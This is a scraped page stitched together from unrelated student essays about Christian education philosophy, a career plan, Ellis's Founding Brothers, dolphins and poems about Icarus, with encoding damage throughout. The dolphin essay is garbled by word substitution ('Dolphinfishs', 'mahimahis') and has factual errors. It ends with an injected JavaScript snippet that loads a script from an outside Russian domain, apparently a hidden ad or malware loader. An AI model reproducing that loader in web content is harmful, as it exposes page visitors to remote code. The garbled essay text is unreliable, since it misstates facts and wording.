Philosophy of Christian Education - 2082 Words

Education is a matter of discovering what is ultimately real and learning to live in relation to it in a way that produces a life marked by meaning, freedom, and even happiness. Education presupposes truth, even in the most relativistic contexts, because teachers are concerned with correspondence between thought and reality. But from a Christian perspective, truth is not just a label applied to the successful representation of reality in thought, but comes to personify that eternal reality itself. And that personification is neither metaphorical nor abstract, but is found in the person of Jesus Christ, as he says in John 14.6, â€Å"I am the way, and the truth, and the life.† In a similar way, a Christian teacher’s concern with the†¦show more content†¦Truth must be apprehended by every part of the person, or every faculty of our being, which means that truth must be perceived, comprehended, and applied in each area. As the truth is apprehended by the mind, the spirit, the heart, and the body, the whole person is conformed to the image of Christ—seeing him as he is and, invariably, becoming more like him, becoming more true. But this also has the further effect of creating agents of the Kingdom of God, who by faith live in accordance with eternal reality, and who naturally shape the world around them to become communities that conform to the truth. In other words, Christian education aims to produce knowledge, attentiveness, beauty, virtue, and justice. These are produced when truth comes in contact with the mind, spirit, heart, body, and world, respectively. When truth is apprehended by the mind, the fruit is knowledge. This is the typical objective of modern education, although the acquisition of knowledge in itself is an insufficient goal. A bit of data can be memorized and regurgitated without necessitating contact with truth, for the mind is able to process information about reality without actually coming into direct contact with truth. In fact, it is far easier for the mind to deal in abstractions, images, and metaphors because they are discrete and lifeless, whereas truth demandsShow MoreRelatedEssay on Philosophy of Christian Education1357 Words   |  6 PagesThe education of children has existed since the beginning of time as parents have taught and molded their children into the young adults they desired them to be. Initial training of children was not in a formal setting, although history would see numerous settings, purposes, and methodological changes. Philosophies of education have also changed through the years as various voices have seemed to grasp the purpose of educating the next generation, thus laying out objectives to reach those goalsRead MorePhilosophy of Christian Education Essay2583 Words   |  11 Pagesthat there is a distinct difference between a Christian philosophy of education and a philosophy of Christian education. The former being only one of many applicable and credibl e forms of education and the latter being the only viable form of education. We, as a collective person, were made in the image of God. With this premise given, God alone would hold the keys to educating the entire person, and all other educational systems and philosophies, while holding some truth, cannot hold all truthRead MoreChristian Philosophy of Education Essay1990 Words   |  8 PagesChristian Philosophy of Education As we go through our day by day lives in a very secular world, I believe it is very easy to question ourselves as Christian educators. We ask ourselves if we are doing our jobs exactly to God’s calling. Are we striving to teach the truth? And with that, what is truth? According to Gaebelein in his book The Pattern of God’s Truth, â€Å"All truth is God’s truth.† As educators we are called upon to cultivate â€Å"Christlike minds† (Moreland). This is quite the taskRead MoreChristian Philosophy Of Education, Evangelism, And Discipleship937 Words   |  4 PagesAccording to Schultz (2003) a Kingdom-focused education must be built on the following four points: Jesus Christ, A Biblical Philosophy of Education, Evangelism, and Discipleship. The most appropriate place for Kingdom education to start is in the family where children are taught that â€Å"only salvation in Christ can perfect a person† (Schultz, 2003, p.19). Because Kingdom e ducation is rooted in development of a personal relationship with Christ it exists as a present reality and not a future physicalRead MoreChristian Philosophy Of Education : The Fear Of The Lord Is The Beginning Of Wisdom925 Words   |  4 PagesElijah House Academy Christian Philosophy of Education â€Å"The fear of the Lord is the beginning of wisdom, and the knowledge of the Holy One is insight.† Proverbs 9:10 In my future role as an elementary educator, I want to make sure I establish a classroom where each student feels safe and supported, not only by me as a teacher, but by their peers as well. When each student feels comfortable, they will be more eager and excited to learn and take risks in the classroom. Education is about cultivatingRead MoreDifferent Philosophies That People Believe1634 Words   |  7 Pagesthan just a worldview: â€Å"A biblical worldview is based on the infallible word of God. When you believe the Bible is entirely true, then you allow it to be the foundation of everything you do.† 2 As Christians those should have different worldviews then nonbelievers. â€Å"Any foundation for a Christian worldview must begin with scripture. It is from the Word of God that we receive special revelation concerning the nature of God, humankind, ultimate reality, goodness and life expectations.† 3 ThereRead MoreChristian Schools And Its Impact On The Development Of The Community871 Words   |  4 PagesChristian schools play a vital role in the development of the community and the students that make up the body. The Christian church has often seen philosophy as a roadblock to understanding our true purpose as humans and not a tool for learning what that purpose is. Philosophy is our response to every area of life, because through philosophy we investigate the truths and principles of being. Apostle Paul wrote two letter to the Thessalonians in which he was concerned about their receptivityRead More Can Education be Classical and Christian? Essay1342 Words   |  6 PagesCan an education be both classical and Christian? Many parents ask this question every year, unknowingly echoing an age-old question. Tertullian, an early church father, was perhaps the first to consider whether these two ideas are compatible when he asked, â€Å"What has Athens to do with Jerusalem?† The church fathers continued to wrestle with the question for centuries, most concluding that all ideas that are taken captive for Christ may be used profitably by Christians. Examining this ongoingRead MorePhilosophy and Religion in Education Essay1166 Words   |  5 PagesPhilosophy and Religion in Education The education mission of the philosophy and religion department serves the general studies core and the major. The department takes seriously its obligation to introduce general studies students to philosophy and religion as humanities disciplines. All courses at the 100 and 200 level are open to and designedRead MoreMy Education Philosophy 1511 Words   |  6 PagesPersonal Mission Statement Education is the imparting and acquiring of knowledge and skills through teaching and learning. As an educator, my personal mission statement is to master my subject area in order to serve as a role model for my students thereby producing students who thoroughly understand the subject matter, and who develop holistically. In order to achieve this goal I must have a set education philosophy with a strong Christian worldview. I must also have a general understanding of the

Career Fields and Specific jobs - Free Essay Example

Sample details Pages: 2 Words: 577 Downloads: 8 Date added: 2019/03/11 Category Career Essay Level High school Tags: Career Plan Essay Did you like this example? Career fields and Specific jobs I want to go into business because I already took business and management for two years at MPHS. At first, I wasn’t so sure if I wanted to go into business but as I learned more stuff about it I changed my mind. I would love to own my own business I want to be able to own my personal nail, and hair shop I also want to sell food there to. Don’t waste time! Our writers will create an original "Career Fields and Specific jobs" essay for you Create order As I was growing up I went from wanting to be a princess to thinking big and extraordinary. My uncle owns his own business and I used to always be around him. So when I got older I wanted to follow my uncle footsteps because I know I can change lives and make my family and myself proud. Specific Jobs In Chosen Field Accounting- Systematic and comprehensive recording of financial transactions pertaining to a business Consulting- A professional who provides professional or expert advice in a particular area such as security, management, accountancy, law, human resources, marketing, finance, engineering, science or any of many other specialized. An entrepreneurship- An individual who, rather than working as an employee, founds and runs a small business, assuming all the risks and rewards of the venture. Entrepreneurs who prove to be successful in taking on the risks of a startup are rewarded with profits, fame and continued growth opportunities. Finance- Process of providing funds for business activities, making purchases or investing. Financial institutions such as banks are in the business of providing capital to businesses, consumers and investors to help them achieve their goals. Human Resources The department is a critical component of employee well-being in any business, no matter how small. HR responsibilities include payroll, benefits, hiring, firing, and keeping up to date with state and federal tax laws. Certifications or Degrees Needed I will need at least a bachelor’s degree to enter most of the high-paying occupations. A few exceptions include real estate brokers, insurance sales agents, claims adjusters, examiners, and investigators. In those occupations I may qualify for entry-level jobs with a high school diploma. In some occupations, it’s helpful for me to have a bachelor’s degree in a specific subject or major in other occupation that are required. Accountants usually need at least a bachelor’s degree in accounting or a related field. Advertising Managers may have an easier time finding a job if their degree is in advertising or journalism. Work experience is helpful or even required for getting an entry-level business job, depending on the occupation. I can begin building my rà ©sumà © while i’m in school, but when I start my career I have to understand that I may have to work several years to gain the experience I need for the job I want. Action Plan I need to go to college to own my own business. I have already taken business and management at MPHS for 2 years. I plan on going to MGCCC to get my degree in business. I plan on enrolling into MGCCC in about a week. I plan on graduation from MPHS. I also plan on going to MGCCC to get my degree in business and I plan on graduating from there in about year or two. After I graduate from MGCCC. I plan going finding somewhere where I can own my own business I plan to have my own personal nail, hair, and food place.

The Revolutionary Generation Joseph J. Ellis - 1516 Words

Joseph J. Ellis author of Founding Brothers The Revolutionary Generation is an award-winning author. He was awarded the Pulitzer Prize in history for the book Founding Brothers. Ellis has also written other books about the Revolutionary generation. He attended and earned his B.A. from the College of William and Mary in 1965. He went on to pursue his education and received a Master of Arts, a Master of Philosophy, and a Ph.D from Yale University. After serving in the U.S. Army, he taught at West Point then became a history professor at Mount Holyoke College. As starting off as a professor he served as dean of faculty for ten years, and received the Ford Foundation Chair in American History. Supposedly around that time there were rumors of†¦show more content†¦This fight was one for the books as you read in the book itself. The fight began with exchange of pistols and they shot from their separate boats and as Burr fired he shot Hamilton’s right side and he died the nex t day. The reason behind the fight was both men were already at their climax point, it was a rivalry amongst them. As I stated in the beginning they viewed many things differently, but the outcome was that they grew together to become one. You can tell that Burr felt terrible for what had happened â€Å"he insisted on going back. I must go speak to him† (25). I don’t think Burr expected that to happen but it did. The fight was about honor so of course one of them had to go down, it just so happened to be Hamilton. Chapter two The Dinner talks about a dinner in 1790 that was held by Thomas Jefferson where he invited James Madison and Alexander Hamilton hoping to resolve personal issues. Not only did they want to move past their disagreements, but Jefferson was trying to convince Madison to agree to the financial plan and have Hamilton agree to help locate the nation’s new capital in the South. After the dinner, Jefferson talked to Monroe and told him he had an idea he just was not fond of it because he thought it would mess up the nation’s early existence. Things had to change if they wanted the nation to succeed, but as they came up with ideas for that it disagreements sprung out. Hamilton’s plan was toShow MoreRelatedThe Revolutionary Generation By Joseph J. Ellis1350 Words   |  6 PagesThe Revolutionary Generation Most novels or documentaries regarding the Revolutionary Generation, largely focus on the war for independence, which includes the Continental Congress. Not often in media, does one find a post-war political book. The Founding Brothers: The Revolutionary Generation by Joseph J. Ellis dives in the complexities faced by the Founding Fathers of America. As they saw themselves as brothers (with the exception of Abigail Adams), they often did not agree on most of each other’sRead MoreThe Revolutionary Generation, By Joseph J. Ellis1730 Words   |  7 PagesJoseph J. Ellis, the author of Founding Brothers: The Revolutionary Generation, is an American author and historian. Born July 18, 1943 in Washington, D.C., Ellis would grow up to be one of the best, well-known scholars of America. He began his college education at Yale University, then at the College of William Mary. Ellis works include Founding Brothers: The Revolutionary Generation, American Sphinx, and His Excellency: Geo rge Washington. His books have brought his name into one of remembranceRead MoreThe Revolutionary Generation : Joseph J. Ellis1619 Words   |  7 PagesThe verifiable background of the United States has been more than once stamped by fight to keep up the feelings of our various extraordinary pioneers. Joseph J. Ellis novel, Founding Brothers: the Revolutionary Generation, offers an outstanding perspective on why this is; as he withdraws to a rate of the beginnings of American political issues. From our outstandingly origination as a nation, a pretty much tumultuous air enveloped administrative issues, which clearly has doubtlessly continued intoRead MoreSummary Of Founding Brothers : The Revolutionary Generation By Joseph J. Ellis1377 Words   |  6 PagesFounding Brothers: The Revolutionary Generation by Joseph J. Ellis Publisher: Alfred A. Knopf Joseph J. Ellis work concentrates on crucial events after the Revolutionary war in the young nation of America. The writer unbiasedly analyzes vital moments in the lives of the Founding Fathers and how relationships between them influenced and were influenced by the unstable era in which they happened to live in. Through the six chapters and preface, Ellis examines the key revolutionary leaders, the problemsRead Morefounding fathers book report873 Words   |  4 PagesJoseph J. Ellis is a well-known historian. He earned his Bachelor’s degree from the college of William and Mary, and his masters and Ph.D. at the University of Yale. Ellis is currently a full time professor of the Commonwealth at the University of Massachusetts at Amherst. In addition to Founding Brothers: The Revolutionary Generation Ellis has written many books and editorials. His books include; The New England Mind in Transition: Samuel Johnson of Connecticut (Yale University Press, 1983)Read MoreThe American Revolution : A Historiographical Introduction846 Words   |  4 Pagescontinue writing the article â€Å"The American Revolution: A Historiographical Introduction,† provided by The British Library I would choose to use a book titled â€Å"Revolutionary Characters: What Made The Founders Different,† written by Gordon S. Wood, and a book titled â€Å"Founding Brothers: The Revolutionary Generation,† written by Joseph J Ellis as reference. The article â€Å"The American Revolution: A Historiographical Introduction,† provided by The British Library, goes over how the AmericanRead MoreFounding Brothers : The Revolutionary Generation Essay1261 Words   |  6 PagesJoseph J. Ellis, American historian and novelist has written many awards winning novels. One of his most recognized, â€Å"American Sphinx†, winner many prestigious awards such as the National Book Award for Non-Fiction in 1997, and the Ambassador Book Award for Biography in 1998. His Pulitzer Prize winning novel, â€Å"Founding Brothers: The Revolutionary Generation†, talks about the founding fathers’ interactions with each other in the decades that followed the Constitutional Convention of 1787. DuringRead MoreFounding Brothers Book Review Essay627 Words   |  3 PagesEllis, Joseph J.  Founding Brothers: The Revolutionary Generation.  New York: Alfred A. Knopf, 2000. Print. The book being critiqued in the following review is Founding Brothers by Joseph Ellis. Ellis’ goal in writing this book was to define the political events and achievements that gained historical significance because they framed the successive history of the United States. Ellis wrote on this specific topic because he felt the need to argue the fact that the American Revolution and the greatnessRead More Joseph J. Ellis Founding Brothers : The Revoluntary Generation654 Words   |  3 PagesJoseph J. Ellis Founding Brothers : The Revoluntary Generation   Ã‚  Ã‚  Ã‚  Ã‚  The compelling and infectious novel of Founding Brothers; The Revolutionary Generation written by Joseph J. Ellis combines our founding fathers weakness’ and strongest abilities in just six chapters. His six chapters tell the stories of: The duel between Alexander Hamilton and Aaron Burr. This entertaining chapter describes how duels were undertaken and played out in that time, and helps the reader understand both mens motivesRead MoreFounding Brothers By Joseph J. Ellis1479 Words   |  6 Pages In the book â€Å"Founding Brothers† by Joseph J. Ellis, he explores the challenges faced by the Founding Fathers in a series of 6 defining events as they formed a new government for the U.S. after the revolution. Focusing on the more important figures from the revolutionary era, who he calls â€Å"Founding Brothers†, a slight change from the original â€Å"Founding Fathers†. They are as follows: George Washington, John and Abigale Adams, James Madison, Thomas Jefferson, Arron Burr, Alexander Hamilton, and Benjamin

Dolphins Essay Research Paper DolphinsDolphins are mammals free essay sample

Dolphinfishs Essay, Research Paper Dolphinfishs Dolphinfishs are mammals closely related to giants and porpoises. Dolphinfishs hold a powerful and streamlined organic structure. They are found in all seas and oceans. Dolphinfishs can be told apart from porpoises by their olfactory organ, which is beaklike, and besides their conelike dentitions. Porpoises have a flatter olfactory organ, sharper dentition, and a more solid organic structure. There are 32 known species of mahimahis. The bottle-nosed mahimahi is frequently the species used in aquatic shows. The common mahimahi inspired many Mediterranean common people traditional knowledges. Both of the mahimahis above appear in unfastened Waterss, normally around sail ships. They like to demo off around the boat. There are besides freshwater mahimahis that live in rivers of Asia and South America. The Buffeo mahimahi has been spotted up to 1250 stat mis up he Amazon River. The buffeo is the smallest of all mahimahis averaging about 4 pess. The bottle-nosed dolphin is closer to 10 pess. We will write a custom essay sample on Dolphins Essay Research Paper DolphinsDolphins are mammals or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page The slayer giant, which is besides considered a mahimahi, can turn to be 30 pess long. The pilot giant is besides considered a mahimahi. Dolphinfishs were one time hunted by commercial boats for the little sum of oil that can be extracted from their organic structure. This oil is used to lubricate little parts in tickers. Cheaper oils have been found, so mahimahis are non hunted for this ground any longer. Dolphinfishs can be caught in tuna cyberspaces by accident. Since mahimahis have to breath at the surface they drown in tuna cyberspaces. It is estimated that 4.8 million mahimahis were killed in tuna cyberspaces from 1959 to 1972. Under force per unit area from carnal rights militants tuna consumers will non accept tuna from canners that do non protect mahimahis. Animal rights militants besides believe that mahimahis shouldn # 8217 ; t be in imprisonment for usage in aquatic shows. Dolphinfishs eat a batch of nutrient in a twenty-four hours, normally about one tierce of their organic structure weight. A dolphin # 8217 ; s diet consists of largely fish and calamari. Dolphinfishs can swim really fast, so they are able to easy catch their nutrient. The mahimahi has 200 to 250 crisp dentitions. Dolphinfishs follow schools of fish in groups. The Pacific white-sided species is estimated to go in groups with 10s of 1000s of members, while on the other manus bottle-nosed dolphin mahimahis travel in groups that contain merely a few members. Dolphin, like giants, breathe through a blowhole in the top of their caput. While going mahimahis break the surface one time every two proceedingss. When mahimahis exhale H2O is sometimes thrown from the blowhole. After expiring the mahimahis inhale and disappear into the ocean. A dolphins lungs are adapted to defy the physical jobs that are caused by speedy alterations in force per unit area. With this version dolphins can plunge up to 1000 pess with no job. / gt ; A mahimahis tail is, like all other aquatic mammals, moves in an up and down gesture. Dolphins dual fluke their narrative to travel frontward. Their fins are used to stabilise the mahimahi as they swim. A mahimahi is really streamlined and can average a velocity of up to 19 stat mis per hr with explosions of over 25 stat mis per hr. At these velocities, mahimahis can cover great distances in a twenty-four hours. The best studied species of mahimahis are the bottle-nosed. Bottle-nosed mahimahis reach sexual adulthood at the ages of 5 to 12 old ages in females and 9 to 13 old ages in males. Dolphinfishs mate in the spring. The mahimahis carry the babe, which is called a calf, for 11 to 12 months. At this clip a individual calf is born, coming out tail foremost. Calfs can swim and take a breath proceedingss after birth. A calf will nurse for up to 18 months. Calfs can maintain up with their female parent by staying close and taking advantage of it # 8217 ; s female parents aerodynamic swimming. Dolphins about ever emit either snaping sounds or whistlings. The chinks are short pulsations of about 300 sounds per second, which come from a mechanism located merely below a mahimahi # 8217 ; s blowhole. These chinks are used to locate objects around a mahimahi. When the sound of a click bouncinesss off of an object and back to the mahimahi, the dolphin uses that information to travel without hitting anything. This clicking system is similar to a chiropterans radio detection and ranging system. The whistlings are single-toned squeals that come from deep in the voice box. These whistlings are used to pass on dismay, sexual exhilaration, and possibly other emotions. Because of mahimahis ability to larn and execute complex fast ones in imprisonment, their uninterrupted communicating with one another, and their ability, with preparation, to understand a few human words, some scientists think that mahimahis could larn a linguistic communication to pass on with worlds. Most experts agree that even though a mahimahis problem-solving ability is close to that of a archpriest, no grounds has been shown that mahimahis communicating accomplishments even come near to the complexness of a true linguistic communication. All dolphins belong to the order of Cetacea. The bottle-nosed mahimahi is scientifically classified as Tursiops truncatus. The common mahimahi is classified as Delphinus Delphi, and the buffeo mahimahi is classified as Sotalia fluviatilis. The slayer giant is classified as Orcinus killer whale and the white-sided mahimahi is classified as Lagenorhynchus obliquidens. The Dolphinfishs are besides a football squad located in Miami. They normally drama good in the regular season, but when playoff clip axial rotations around the squad falls apart. I do non like the Dolphins and I wish that they would retreat from the National Football League. The End! ! ! ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

The Many Poetic Twists of Icarus as portrayed in Edward Essay Example For Students

The Many Poetic Twists of Icarus as portrayed in Edward Essay His wings fall apart and he plummets to the sea and drowns. The myth of Cirrus appears to be fairly straight forward, and yet three poets write poems expressing three different perspectives using specific techniques. The three poets and their poems are Edward Fields Cirrus, William Carols Williams Landscape with the Fall of Cirrus, and Muriel Rustlers Waiting for Cirrus. In Fields poem, he chooses to change the ending and decry the impact of modern society upon individuals (Roberts 928). In his poem, Cirrus does not drown, he had swum away coming at last to the city where he rented a house and tended the garden (Field 8 and 9). This is a very common existence for a man who had once soared so high. This poem is about the expectations people have and the reality they get. Cirrus is a hero who goes on living long after the moment of glory, and is puzzled, bored, and unhappy with the drabness of the uneventful life that he now leads (Roberts 354). No one has any idea who Cirrus is, or of the great act he once reformed. The witnesses did not care, Field writes, they ran off to a gang war (5). His neighbors are all too busy with their own lives to care about who Cirrus really is. Edwards is implying that life simply goes on. Cirrus, having achieved a moment of greatness, has been living a dull and normal life and wishes he had drowned (Field 30). The point that life goes on is something that Fields poem has in common with Williams. Williams also expresses that life goes on, but he uses Broughams painting to do it. Williams is able to recreate the painting in verbal images (Roberts 357). Through his verbal images he describes a farmer was polluting his field and says insignificantly off the coast there was a splash quite unnoticed (Williams 4, 19 and 20). The fact that the farmer does not notice the splash of Cirrus is Williams way of showing that, no matter what occurs, life simply goes on. Unlike Field, Williams does not use any punctuation. The lack of punctuation is to indicate an absence of expressive inflection, which further proves the insignificance of Cirrus fall to the society around him (Cole 151). Ruckuses puts a completely different spin on the myth. She shows that even though life goes on, the decisions that people make do affect those around them. She does this by writing from the point of view of girlfriend (Roberts 354). Like Williams, Ruckuses uses the lack punctuation as a tool in her poem. She only uses punctuation in the last stanza. The lack of punctuation and the methodical repetition of phrases like he said and l remember are used to show how women end to babble on and on (Roberts 355 and Ruckuses 1 and 12). Perhaps that is why Ruckuses writes about her friends saying he only wanted to get away from her (15). This poem is more about the fall of a romance, while the first two are about the insignificant fall off hero. Greek mythology is one medium, where people typically come to their own conclusions. The three poets discussed above are not different in that respect. They have taken the same myth and interjected their own ideas and techniques to create different angles, in which to express themselves.